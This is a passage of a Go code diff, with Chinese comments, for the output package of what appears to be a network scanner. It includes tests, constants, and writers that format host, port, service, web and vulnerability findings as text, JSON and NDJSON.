|
||||
switch j % 4 {
|
||||
case 0:
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeHost,
|
||||
Target: fmt.Sprintf("192.168.%d.%d", id, j),
|
||||
})
|
||||
case 1:
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypePort,
|
||||
Target: fmt.Sprintf("192.168.%d.%d", id, j),
|
||||
Details: map[string]interface{}{"port": j},
|
||||
})
|
||||
case 2:
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeService,
|
||||
Target: fmt.Sprintf("192.168.%d.%d:%d", id, j, j),
|
||||
})
|
||||
case 3:
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeVuln,
|
||||
Target: fmt.Sprintf("192.168.%d.%d", id, j),
|
||||
Status: fmt.Sprintf("CVE-%d", j),
|
||||
})
|
||||
}
|
||||
}
|
||||
}(i)
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
|
||||
// 验证没有panic,数据完整
|
||||
hosts, ports, services, vulns := buf.Summary()
|
||||
total := hosts + ports + services + vulns
|
||||
|
||||
if total == 0 {
|
||||
t.Error("并发添加后应有结果")
|
||||
}
|
||||
|
||||
t.Logf("并发测试完成: %d hosts, %d ports, %d services, %d vulns",
|
||||
hosts, ports, services, vulns)
|
||||
}
|
||||
|
||||
// TestResultBuffer_ConcurrentSummary 测试并发获取摘要
|
||||
func TestResultBuffer_ConcurrentSummary(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
// 预填充一些数据
|
||||
for i := 0; i < 100; i++ {
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeHost,
|
||||
Target: fmt.Sprintf("192.168.1.%d", i),
|
||||
})
|
||||
}
|
||||
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(100)
|
||||
|
||||
for i := 0; i < 100; i++ {
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
// 同时获取摘要和添加
|
||||
buf.Summary()
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypeHost,
|
||||
Target: "10.0.0.1",
|
||||
})
|
||||
}()
|
||||
}
|
||||
|
||||
wg.Wait()
|
||||
// 没有panic即为成功
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// 边界情况测试
|
||||
// =============================================================================
|
||||
|
||||
// TestResultBuffer_NilResult 测试nil结果
|
||||
func TestResultBuffer_NilResult(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
buf.Add(nil) // 不应panic
|
||||
|
||||
hosts, ports, services, vulns := buf.Summary()
|
||||
if hosts+ports+services+vulns != 0 {
|
||||
t.Error("添加nil后应无结果")
|
||||
}
|
||||
}
|
||||
|
||||
// TestResultBuffer_PortWithoutDetails 测试无Details的端口
|
||||
func TestResultBuffer_PortWithoutDetails(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
buf.Add(&ScanResult{
|
||||
Type: TypePort,
|
||||
Target: "192.168.1.1",
|
||||
Details: nil,
|
||||
})
|
||||
|
||||
_, ports, _, _ := buf.Summary()
|
||||
if ports != 1 {
|
||||
t.Error("无Details的端口也应被添加")
|
||||
}
|
||||
}
|
||||
|
||||
// TestResultBuffer_Clear 测试清空
|
||||
func TestResultBuffer_Clear(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
// 添加各类结果
|
||||
buf.Add(&ScanResult{Type: TypeHost, Target: "192.168.1.1"})
|
||||
buf.Add(&ScanResult{Type: TypePort, Target: "192.168.1.1", Details: map[string]interface{}{"port": 80}})
|
||||
buf.Add(&ScanResult{Type: TypeService, Target: "192.168.1.1:80"})
|
||||
buf.Add(&ScanResult{Type: TypeVuln, Target: "192.168.1.1", Status: "CVE-2021-1234"})
|
||||
|
||||
// 清空
|
||||
buf.Clear()
|
||||
|
||||
hosts, ports, services, vulns := buf.Summary()
|
||||
if hosts+ports+services+vulns != 0 {
|
||||
t.Error("Clear后应无结果")
|
||||
}
|
||||
|
||||
// 验证可以继续添加
|
||||
buf.Add(&ScanResult{Type: TypeHost, Target: "10.0.0.1"})
|
||||
hosts, _, _, _ = buf.Summary()
|
||||
if hosts != 1 {
|
||||
t.Error("Clear后应能继续添加")
|
||||
}
|
||||
}
|
||||
|
||||
// TestResultBuffer_EmptyFingerprints 测试空指纹数组
|
||||
func TestResultBuffer_EmptyFingerprints(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
// 空字符串数组
|
||||
score1 := buf.CalculateCompleteness(&ScanResult{
|
||||
Details: map[string]interface{}{"fingerprints": []string{}},
|
||||
})
|
||||
if score1 != 0 {
|
||||
t.Errorf("空指纹数组不应加分,实际 %d", score1)
|
||||
}
|
||||
|
||||
// 空interface数组
|
||||
score2 := buf.CalculateCompleteness(&ScanResult{
|
||||
Details: map[string]interface{}{"fingerprints": []interface{}{}},
|
||||
})
|
||||
if score2 != 0 {
|
||||
t.Errorf("空interface数组不应加分,实际 %d", score2)
|
||||
}
|
||||
}
|
||||
|
||||
// TestResultBuffer_StatusZero 测试status为0
|
||||
func TestResultBuffer_StatusZero(t *testing.T) {
|
||||
buf := NewResultBuffer()
|
||||
|
||||
score := buf.CalculateCompleteness(&ScanResult{
|
||||
Details: map[string]interface{}{"status": 0},
|
||||
})
|
||||
if score != 0 {
|
||||
t.Errorf("status为0不应加分,实际 %d", score)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
package output
|
||||
|
||||
import (
|
||||
"os"
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 输出格式常量
|
||||
// =============================================================================
|
||||
|
||||
// Format 输出格式类型
|
||||
type Format string
|
||||
|
||||
const (
|
||||
// FormatTXT 文本格式输出
|
||||
FormatTXT Format = "txt"
|
||||
// FormatJSON JSON格式输出
|
||||
FormatJSON Format = "json"
|
||||
// FormatCSV CSV格式输出
|
||||
FormatCSV Format = "csv"
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 结果类型常量
|
||||
// =============================================================================
|
||||
|
||||
// ResultType 定义结果类型
|
||||
type ResultType string
|
||||
|
||||
const (
|
||||
// TypeHost 主机存活
|
||||
TypeHost ResultType = "HOST"
|
||||
// TypePort 端口开放
|
||||
TypePort ResultType = "PORT"
|
||||
// TypeService 服务识别
|
||||
TypeService ResultType = "SERVICE"
|
||||
// TypeVuln 漏洞发现
|
||||
TypeVuln ResultType = "VULN"
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// 文件操作常量
|
||||
// =============================================================================
|
||||
|
||||
const (
|
||||
// DefaultFilePermissions 文件操作权限
|
||||
DefaultFilePermissions = 0644
|
||||
// DefaultDirPermissions 目录操作权限
|
||||
DefaultDirPermissions = 0755
|
||||
|
||||
// DefaultFileFlags 文件打开标志
|
||||
DefaultFileFlags = os.O_CREATE | os.O_WRONLY | os.O_APPEND
|
||||
|
||||
// JSONIndentPrefix JSON格式化前缀
|
||||
JSONIndentPrefix = ""
|
||||
// JSONIndentString JSON格式化缩进字符串
|
||||
JSONIndentString = " "
|
||||
)
|
||||
@@ -0,0 +1,113 @@
|
||||
package output
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// Manager 简化的输出管理器
|
||||
type Manager struct {
|
||||
mu sync.RWMutex
|
||||
config *ManagerConfig
|
||||
writer Writer
|
||||
closed bool
|
||||
}
|
||||
|
||||
// NewManager 创建新的输出管理器
|
||||
func NewManager(config *ManagerConfig) (*Manager, error) {
|
||||
if config == nil {
|
||||
return nil, fmt.Errorf("output config cannot be nil")
|
||||
}
|
||||
|
||||
// 创建输出目录
|
||||
if err := createOutputDir(config.OutputPath); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
manager := &Manager{
|
||||
config: config,
|
||||
}
|
||||
|
||||
// 初始化写入器(内部会验证格式)
|
||||
if err := manager.initializeWriter(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
return manager, nil
|
||||
}
|
||||
|
||||
// createOutputDir 创建输出目录
|
||||
func createOutputDir(outputPath string) error {
|
||||
dir := filepath.Dir(outputPath)
|
||||
return os.MkdirAll(dir, DefaultDirPermissions)
|
||||
}
|
||||
|
||||
// initializeWriter 初始化写入器
|
||||
func (m *Manager) initializeWriter() error {
|
||||
var writer Writer
|
||||
var err error
|
||||
|
||||
switch m.config.Format {
|
||||
case FormatTXT:
|
||||
writer, err = NewTXTWriter(m.config.OutputPath)
|
||||
case FormatJSON:
|
||||
writer, err = NewJSONWriter(m.config.OutputPath)
|
||||
case FormatCSV:
|
||||
writer, err = NewCSVWriter(m.config.OutputPath)
|
||||
default:
|
||||
return fmt.Errorf("unsupported format: %s", m.config.Format)
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
m.writer = writer
|
||||
return m.writer.WriteHeader()
|
||||
}
|
||||
|
||||
// SaveResult 保存扫描结果
|
||||
func (m *Manager) SaveResult(result *ScanResult) error {
|
||||
m.mu.RLock()
|
||||
defer m.mu.RUnlock()
|
||||
|
||||
if m.closed {
|
||||
return fmt.Errorf("output manager is closed")
|
||||
}
|
||||
|
||||
if result == nil {
|
||||
return fmt.Errorf("result cannot be nil")
|
||||
}
|
||||
|
||||
return m.writer.Write(result)
|
||||
}
|
||||
|
||||
// Flush 刷新输出
|
||||
func (m *Manager) Flush() error {
|
||||
m.mu.RLock()
|
||||
defer m.mu.RUnlock()
|
||||
|
||||
if m.closed {
|
||||
return fmt.Errorf("output manager is closed")
|
||||
}
|
||||
|
||||
return m.writer.Flush()
|
||||
}
|
||||
|
||||
// Close 关闭输出管理器
|
||||
func (m *Manager) Close() error {
|
||||
m.mu.Lock()
|
||||
defer m.mu.Unlock()
|
||||
|
||||
if m.closed {
|
||||
return nil
|
||||
}
|
||||
|
||||
m.closed = true
|
||||
if m.writer != nil {
|
||||
return m.writer.Close()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,145 @@
|
||||
package output
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
type StdoutNDJSONWriter struct {
|
||||
mu sync.Mutex
|
||||
writer *bufio.Writer
|
||||
}
|
||||
|
||||
func NewStdoutNDJSONWriter() *StdoutNDJSONWriter {
|
||||
return &StdoutNDJSONWriter{
|
||||
writer: bufio.NewWriter(os.Stdout),
|
||||
}
|
||||
}
|
||||
|
||||
// ndjsonRecord NDJSON 输出的扁平化结构
|
||||
type ndjsonRecord struct {
|
||||
Type ResultType `json:"type"`
|
||||
Target string `json:"target"`
|
||||
Status string `json:"status"`
|
||||
Host string `json:"host,omitempty"`
|
||||
Port int `json:"port,omitempty"`
|
||||
Service string `json:"service,omitempty"`
|
||||
// 通用可选字段
|
||||
Protocol string `json:"protocol,omitempty"`
|
||||
Banner string `json:"banner,omitempty"`
|
||||
Title string `json:"title,omitempty"`
|
||||
URL string `json:"url,omitempty"`
|
||||
// 漏洞/弱口令
|
||||
Vulnerability string `json:"vulnerability,omitempty"`
|
||||
Username string `json:"username,omitempty"`
|
||||
Password string `json:"password,omitempty"`
|
||||
// 其他
|
||||
Plugin string `json:"plugin,omitempty"`
|
||||
Version string `json:"version,omitempty"`
|
||||
OS string `json:"os,omitempty"`
|
||||
}
|
||||
|
||||
func (w *StdoutNDJSONWriter) WriteResult(result *ScanResult) error {
|
||||
w.mu.Lock()
|
||||
defer w.mu.Unlock()
|
||||
|
||||
rec := w.flatten(result)
|
||||
data, err := json.Marshal(rec)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
data = append(data, '\n')
|
||||
if _, err := w.writer.Write(data); err != nil {
|
||||
return err
|
||||
}
|
||||
return w.writer.Flush()
|
||||
}
|
||||
|
||||
func (w *StdoutNDJSONWriter) flatten(r *ScanResult) *ndjsonRecord {
|
||||
rec := &ndjsonRecord{
|
||||
Type: r.Type,
|
||||
Target: r.Target,
|
||||
Status: r.Status,
|
||||
}
|
||||
|
||||
// 从 target 拆分 host:port
|
||||
if host, port, ok := splitHostPort(r.Target); ok {
|
||||
rec.Host = host
|
||||
rec.Port = port
|
||||
} else {
|
||||
rec.Host = r.Target
|
||||
}
|
||||
|
||||
d := r.Details
|
||||
if d == nil {
|
||||
return rec
|
||||
}
|
||||
|
||||
// 从 details 提升一级字段(覆盖拆分结果)
|
||||
if v, ok := d["port"]; ok {
|
||||
if p, ok := toInt(v); ok {
|
||||
rec.Port = p
|
||||
}
|
||||
}
|
||||
|
||||
rec.Service = strVal(d, "service")
|
||||
rec.Protocol = strVal(d, "protocol")
|
||||
rec.Banner = strVal(d, "banner")
|
||||
rec.Title = strVal(d, "title")
|
||||
rec.URL = strVal(d, "url")
|
||||
rec.Vulnerability = strVal(d, "vulnerability")
|
||||
rec.Username = strVal(d, "username")
|
||||
rec.Password = strVal(d, "password")
|
||||
rec.Plugin = strVal(d, "plugin")
|
||||
rec.Version = strVal(d, "version")
|
||||
rec.OS = strVal(d, "os")
|
||||
|
||||
return rec
|
||||
}
|
||||
|
||||
func (w *StdoutNDJSONWriter) Close() error {
|
||||
w.mu.Lock()
|
||||
defer w.mu.Unlock()
|
||||
return w.writer.Flush()
|
||||
}
|
||||
|
||||
func strVal(d map[string]interface{}, key string) string {
|
||||
v, ok := d[key]
|
||||
if !ok {
|
||||
return ""
|
||||
}
|
||||
s, ok := v.(string)
|
||||
if !ok {
|
||||
return fmt.Sprintf("%v", v)
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
func toInt(v interface{}) (int, bool) {
|
||||
switch n := v.(type) {
|
||||
case int:
|
||||
return n, true
|
||||
case int64:
|
||||
return int(n), true
|
||||
case float64:
|
||||
return int(n), true
|
||||
}
|
||||
return 0, false
|
||||
}
|
||||
|
||||
func splitHostPort(target string) (string, int, bool) {
|
||||
idx := strings.LastIndex(target, ":")
|
||||
if idx < 0 {
|
||||
return "", 0, false
|
||||
}
|
||||
host := target[:idx]
|
||||
var port int
|
||||
if _, err := fmt.Sscanf(target[idx+1:], "%d", &port); err != nil {
|
||||
return "", 0, false
|
||||
}
|
||||
return host, port, true
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
package output
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// ScanResult 扫描结果结构
|
||||
type ScanResult struct {
|
||||
Time time.Time `json:"time"` // 发现时间
|
||||
Type ResultType `json:"type"` // 结果类型
|
||||
Target string `json:"target"` // 目标(IP/域名/URL)
|
||||
Status string `json:"status"` // 状态描述
|
||||
Details map[string]interface{} `json:"details"` // 详细信息
|
||||
}
|
||||
|
||||
// FormatDetails 格式化Details为键值对字符串(排序key以保证输出稳定)
|
||||
func (r *ScanResult) FormatDetails(separator, kvFormat string) string {
|
||||
if len(r.Details) == 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
keys := make([]string, 0, len(r.Details))
|
||||
for key := range r.Details {
|
||||
keys = append(keys, key)
|
||||
}
|
||||
sort.Strings(keys)
|
||||
|
||||
pairs := make([]string, 0, len(keys))
|
||||
for _, key := range keys {
|
||||
pairs = append(pairs, fmt.Sprintf(kvFormat, key, r.Details[key]))
|
||||
}
|
||||
return strings.Join(pairs, separator)
|
||||
}
|
||||
|
||||
// Writer 输出写入器接口
|
||||
type Writer interface {
|
||||
Write(result *ScanResult) error
|
||||
WriteHeader() error
|
||||
Flush() error
|
||||
Close() error
|
||||
GetFormat() Format
|
||||
}
|
||||
|
||||
// ManagerConfig 输出管理器配置
|
||||
type ManagerConfig struct {
|
||||
OutputPath string `json:"output_path"` // 输出路径
|
||||
Format Format `json:"format"` // 输出格式
|
||||
}
|
||||
|
||||
// DefaultManagerConfig 默认管理器配置
|
||||
func DefaultManagerConfig(outputPath string, format Format) *ManagerConfig {
|
||||
return &ManagerConfig{
|
||||
OutputPath: outputPath,
|
||||
Format: format,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,784 @@
|
||||
package output
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"encoding/csv"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// escapeControlChars 转义控制字符
|
||||
func escapeControlChars(s string) string {
|
||||
s = strings.ToValidUTF8(s, "?")
|
||||
|
||||
var b strings.Builder
|
||||
for _, r := range s {
|
||||
switch r {
|
||||
case '\n':
|
||||
b.WriteString("\\n")
|
||||
case '\r':
|
||||
b.WriteString("\\r")
|
||||
case '\t':
|
||||
b.WriteString("\\t")
|
||||
default:
|
||||
if r < 0x20 || r == 0x7f {
|
||||
fmt.Fprintf(&b, "\\x%02x", r)
|
||||
continue
|
||||
}
|
||||
b.WriteRune(r)
|
||||
}
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// TXTWriter - 文本格式写入器
|
||||
// =============================================================================
|
||||
|
||||
// TXTWriter 文本格式写入器(分类缓冲,按类型聚合输出)
|
||||
type TXTWriter struct {
|
||||
file *os.File
|
||||
bufWriter *bufio.Writer
|
||||
mu sync.Mutex
|
||||
closed bool
|
||||
buffer *ResultBuffer // 内存分类缓冲
|
||||
realtimeFile *os.File // 实时备份文件
|
||||
realtimePath string // 实时备份文件路径
|
||||
}
|
||||
|
||||
// NewTXTWriter 创建文本写入器
|
||||
func NewTXTWriter(filePath string) (*TXTWriter, error) {
|
||||
file, err := os.OpenFile(filePath, DefaultFileFlags, DefaultFilePermissions)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to create TXT file: %w", err)
|
||||
}
|
||||
|
||||
// 创建实时备份文件(防崩溃丢数据)
|
||||
realtimePath := filePath + ".realtime.tmp"
|
||||
realtimeFile, err := os.OpenFile(realtimePath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, DefaultFilePermissions)
|
||||
if err != nil {
|
||||
file.Close()
|
||||
return nil, fmt.Errorf("failed to create realtime backup file: %w", err)
|
||||
}
|
||||
|
||||
return &TXTWriter{
|
||||
file: file,
|
||||
bufWriter: bufio.NewWriter(file),
|
||||
buffer: NewResultBuffer(),
|
||||
realtimeFile: realtimeFile,
|
||||
realtimePath: realtimePath,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// WriteHeader 写入头部
|
||||
func (w *TXTWriter) WriteHeader() error {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Write 收集扫描结果到分类缓冲,同时实时备份
|
||||
func (w *TXTWriter) Write(result *ScanResult) error {
|
||||
w.mu.Lock()
|
||||
defer w.mu.Unlock()
|
||||
|
||||
if w.closed {
|
||||
return fmt.Errorf("writer is closed")
|
||||
}
|
||||
if result == nil {
|
||||
return fmt.Errorf("result cannot be nil")
|
||||
}
|
||||
|
||||
// 1. 加入内存分类缓冲(用于最终有序输出)
|
||||
w.buffer.Add(result)
|
||||
|
||||
// 2. 实时写入备份文件(防崩溃丢数据)
|
||||
if w.realtimeFile != nil {
|
||||
line := w.formatLine(result)
|
||||
if _, err := w.realtimeFile.WriteString(line + "\n"); err != nil {
|
||||
return fmt.Errorf("failed to write realtime backup: %w", err)
|
||||
}
|
||||
if err := w.realtimeFile.Sync(); err != nil {
|
||||
return fmt.Errorf("failed to sync realtime backup: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// getSeparator 获取分隔线文本
|
||||
func (w *TXTWriter) getSeparator(newType ResultType) string {
|
||||
switch newType {
|
||||
case TypeHost:
|
||||
return "# ===== 存活主机 ====="
|
||||
case TypePort:
|
||||
return "# ===== 开放端口 ====="
|
||||
case TypeService:
|
||||
return "# ===== 服务信息 ====="
|
||||
case TypeVuln:
|
||||
return "# ===== 漏洞信息 ====="
|
||||
default:
|
||||
return "# ===================="
|
||||
}
|
||||
}
|
||||
|
||||
// formatLine 根据结果类型格式化输出行
|
||||
func (w *TXTWriter) formatLine(result *ScanResult) string {
|
||||
switch result.Type {
|
||||
case TypeHost:
|
||||
return result.Target
|
||||
case TypePort:
|
||||
port := w.getDetail(result, "port")
|
||||
if port != nil {
|
||||
return fmt.Sprintf("%s:%v", result.Target, port)
|
||||
}
|
||||
return result.Target
|
||||
case TypeService:
|
||||
return w.formatServiceLine(result)
|
||||
case TypeVuln:
|
||||
return w.formatVulnLine(result)
|
||||
default:
|
||||
return result.Target
|
||||
}
|
||||
}
|
||||
|
||||
// formatServiceLine 格式化服务识别结果
|
||||
func (w *TXTWriter) formatServiceLine(result *ScanResult) string {
|
||||
service := w.getDetailStr(result, "service")
|
||||
banner := w.getDetailStr(result, "banner")
|
||||
|
||||
// 判断是否为Web服务
|
||||
isWebFlag := false
|
||||
if v, ok := w.getDetail(result, "is_web").(bool); ok && v {
|
||||
isWebFlag = true
|
||||
}
|
||||
if !isWebFlag {
|
||||
if w.getDetail(result, "status") != nil || w.getDetailStr(result, "server") != "" {
|
||||
isWebFlag = true
|
||||
}
|
||||
}
|
||||
|
||||
if isWebFlag || service == "http" || service == "https" {
|
||||
return w.formatWebServiceLine(result)
|
||||
}
|
||||
|
||||
// 非Web服务:ip:port service banner
|
||||
target := result.Target
|
||||
if !strings.Contains(target, ":") {
|
||||
if port := w.getDetail(result, "port"); port != nil {
|
||||
target = fmt.Sprintf("%s:%v", target, port)
|
||||
}
|
||||
}
|
||||
|
||||
var parts []string
|
||||
parts = append(parts, target)
|
||||
if service != "" {
|
||||
parts = append(parts, service)
|
||||
}
|
||||
if banner != "" {
|
||||
if len(banner) > 100 {
|
||||
banner = banner[:100] + "..."
|
||||
}
|
||||
banner = escapeControlChars(banner)
|
||||
parts = append(parts, banner)
|
||||
}
|
||||
return strings.Join(parts, " ")
|
||||
}
|
||||
|
||||
// formatWebServiceLine 格式化Web服务结果
|
||||
func (w *TXTWriter) formatWebServiceLine(result *ScanResult) string {
|
||||
target := result.Target
|
||||
if !strings.Contains(target, ":") {
|
||||
if port := w.getDetail(result, "port"); port != nil {
|
||||
target = fmt.Sprintf("%s:%v", target, port)
|
||||
}
|
||||
}
|
||||
|
||||
url := fmt.Sprintf("%s://%s", w.webProtocol(result, target), target)
|
||||
title := w.getDetailStr(result, "title")
|
||||
status := w.getDetail(result, "status")
|
||||
server := w.getDetailStr(result, "server")
|
||||
fingerprints := w.getFingerprints(result)
|
||||
|
||||
var parts []string
|
||||
parts = append(parts, url)
|
||||
if title != "" {
|
||||
parts = append(parts, fmt.Sprintf("[%s]", title))
|
||||
}
|
||||
if status != nil && status != 0 {
|
||||
parts = append(parts, fmt.Sprintf("%v", status))
|
||||
}
|
||||
if server != "" {
|
||||
parts = append(parts, server)
|
||||
}
|
||||
if len(fingerprints) > 0 {
|
||||
parts = append(parts, fingerprints)
|
||||
}
|
||||
return strings.Join(parts, " ")
|
||||
}
|
||||
|
||||
// getFingerprints 获取指纹信息并格式化
|
||||
func (w *TXTWriter) getFingerprints(result *ScanResult) string {
|
||||
fp := w.getDetail(result, "fingerprints")
|
||||
if fp == nil {
|
||||
return ""
|
||||
}
|
||||
|
||||
switch v := fp.(type) {
|
||||
case []string:
|
||||
if len(v) > 0 {
|
||||
return "[" + strings.Join(v, ",") + "]"
|
||||
}
|
||||
case []interface{}:
|
||||
if len(v) > 0 {
|
||||
var fps []string
|
||||
for _, f := range v {
|
||||
fps = append(fps, fmt.Sprintf("%v", f))
|
||||
}
|
||||
return "[" + strings.Join(fps, ",") + "]"
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// formatVulnLine 格式化漏洞发现结果
|
||||
func (w *TXTWriter) formatVulnLine(result *ScanResult) string {
|
||||
vulnType := w.getDetailStr(result, "type")
|
||||
|
||||
if vulnType == "weak_credential" {
|
||||
username := w.getDetailStr(result, "username")
|
||||
password := w.getDetailStr(result, "password")
|
||||
service := w.getDetailStr(result, "service")
|
||||
|
||||
if service != "" {
|
||||
return fmt.Sprintf("%s %s %s/%s", result.Target, service, username, password)
|
||||
}
|
||||
return fmt.Sprintf("%s %s/%s", result.Target, username, password)
|
||||
}
|
||||
|
||||
vuln := w.getDetailStr(result, "vulnerability")
|
||||
if vuln != "" {
|
||||
return fmt.Sprintf("%s %s", result.Target, vuln)
|
||||
}
|
||||
return fmt.Sprintf("%s %s", result.Target, result.Status)
|
||||
}
|
||||
|
||||
// getDetail 获取详情字段值
|
||||
func (w *TXTWriter) getDetail(result *ScanResult, key string) interface{} {
|
||||
if result.Details == nil {
|
||||
return nil
|
||||
}
|
||||
return result.Details[key]
|
||||
}
|
||||
|
||||
// getDetailStr 获取详情字段字符串值
|
||||
func (w *TXTWriter) getDetailStr(result *ScanResult, key string) string {
|
||||
val := w.getDetail(result, key)
|
||||
if val == nil {
|
||||
return ""
|
||||
}
|
||||
if s, ok := val.(string); ok {
|
||||
return s
|
||||
}
|
||||
return fmt.Sprintf("%v", val)
|
||||
}
|
||||
|
||||
// Flush 刷新写入器
|
||||
func (w *TXTWriter) Flush() error {
|
||||
w.mu.Lock()
|
||||
defer w.mu.Unlock()
|
||||
|
||||
if w.closed {
|
||||
return nil
|
||||
}
|
||||
|
||||
if err := w.bufWriter.Flush(); err != nil {
|
||||
return err
|
||||
}
|
||||
return w.file.Sync()
|
||||
}
|
||||
|
||||
// Close 关闭写入器(清理资源,删除临时备份)
|
||||
func (w *TXTWriter) Close() error {
|
||||
w.mu.Lock()
|
||||
defer w.mu.Unlock()
|
||||
|
||||
if w.closed {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 按顺序写入所有分类结果
|
||||
w.writeSection(TypeHost, w.buffer.HostResults)
|
||||
w.writeSection(TypePort, w.buffer.PortResults)
|
||||
w.writeSection(TypeService, w.buffer.ServiceResults)
|
||||
w.writeSection(TypeVuln, w.buffer.VulnResults)
|
||||
|
||||
// 单独输出 Web 服务列表(便于复制测试)
|
||||
w.writeWebServices()
|
||||
|
||||
w.closed = true
|
||||
|
||||
// 关闭并删除实时备份文件(正常结束,不再需要)
|
||||
if w.realtimeFile != nil {
|
||||
w.realtimeFile.Close()
|
||||
os.Remove(w.realtimePath)
|
||||
}
|
||||
|
||||
if err := w.bufWriter.Flush(); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := w.file.Sync(); err != nil {
|
||||
return err
|
||||
}
|
||||
return w.file.Close()
|
||||
}
|
||||
|
||||
// writeSection 写入一个分类的所有结果
|
||||
func (w *TXTWriter) writeSection(resultType ResultType, results []*ScanResult) {
|
||||
if len(results) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
separator := w.getSeparator(resultType)
|
||||
_, _ = w.bufWriter.WriteString(separator + "\n")
|
||||
|
||||
for _, result := range results {
|
||||
line := w.formatLine(result)
|
||||
if line != "" {
|
||||
_, _ = w.bufWriter.WriteString(line + "\n")
|
||||
}
|
||||
}
|
||||
_, _ = w.bufWriter.WriteString("\n")
|
||||
}
|
||||
|
||||
// writeWebServices 单独输出 Web 服务 URL 列表
|
||||
func (w *TXTWriter) writeWebServices() {
|
||||
var urls []string
|
||||
|
||||
for _, result := range w.buffer.ServiceResults {
|
||||
if !w.isWebService(result) {
|
||||
continue
|
||||
}
|
||||
|
||||
target := result.Target
|
||||
if !strings.Contains(target, ":") {
|
||||
if port := w.getDetail(result, "port"); port != nil {
|
||||
target = fmt.Sprintf("%s:%v", target, port)
|
||||
}
|
||||
}
|
||||
|
||||
urls = append(urls, fmt.Sprintf("%s://%s", w.webProtocol(result, target), target))
|
||||
}
|
||||
|
||||
if len(urls) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
_, _ = w.bufWriter.WriteString("# ===== Web服务 =====\n")
|
||||
for _, url := range urls {
|
||||
_, _ = w.bufWriter.WriteString(url + "\n")
|
||||
}
|
||||
_, _ = w.bufWriter.WriteString("\n")
|
||||
}
|
||||
|
||||
// isWebService 判断是否为 Web 服务
|
||||
func (w *TXTWriter) isWebService(result *ScanResult) bool {
|
||||
if v, ok := w.getDetail(result, "is_web").(bool); ok && v {
|
||||
return true
|
||||
}
|
||||
if w.getDetail(result, "status") != nil {
|
||||
return true
|
||||
}
|
||||
if w.getDetailStr(result, "server") != "" {
|
||||
return true
|
||||
}
|
||||
service := w.getDetailStr(result, "service")
|
||||
return service == "http" || service == "https"
|
||||
}
|
||||
|
||||
func (w *TXTWriter) webProtocol(result *ScanResult, target string) string {
|
||||
protocol := strings.ToLower(w.getDetailStr(result, "protocol"))
|
||||
if protocol == "http" || protocol == "https" {
|
||||
return protocol
|
||||
}
|
||||
|
||||
service := strings.ToLower(w.getDetailStr(result, "service"))
|
||||
if service == "https" || strings.Contains(target, ":443") {
|
||||
return "https"
|
||||
}
|
||||
return "http"
|
||||
}
|
||||
|
||||
// GetFormat 获取格式类型
|
||||
func (w *TXTWriter) GetFormat() Format {
|
||||
return FormatTXT
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// JSONWriter - JSON格式写入器
|
||||
// =============================================================================
|
||||
|
||||
// JSONWriter JSON格式写入器(分类去重,输出完整JSON)
|
||||
// 双写机制:内存分类缓冲 + 实时NDJSON备份
|
||||
type JSONWriter struct {
|
||||
file *os.File
|
||||
mu sync.Mutex
|
||||
closed bool
|
||||
buffer *ResultBuffer
|
||||
realtimeFile *os.File // 实时备份文件(NDJSON格式)
|
||||
realtimePath string // 实时备份文件路径
|
||||
}
|
||||
|
||||
// JSONOutput JSON输出结构
|
||||
type JSONOutput struct {
|
||||
ScanTime time.Time `json:"scan_time"`
|
||||
Summary JSONSummary `json:"summary"`
|
||||
Hosts []*ScanResult `json:"hosts,omitempty"`
|
||||
Ports []*ScanResult `json:"ports,omitempty"`
|
||||
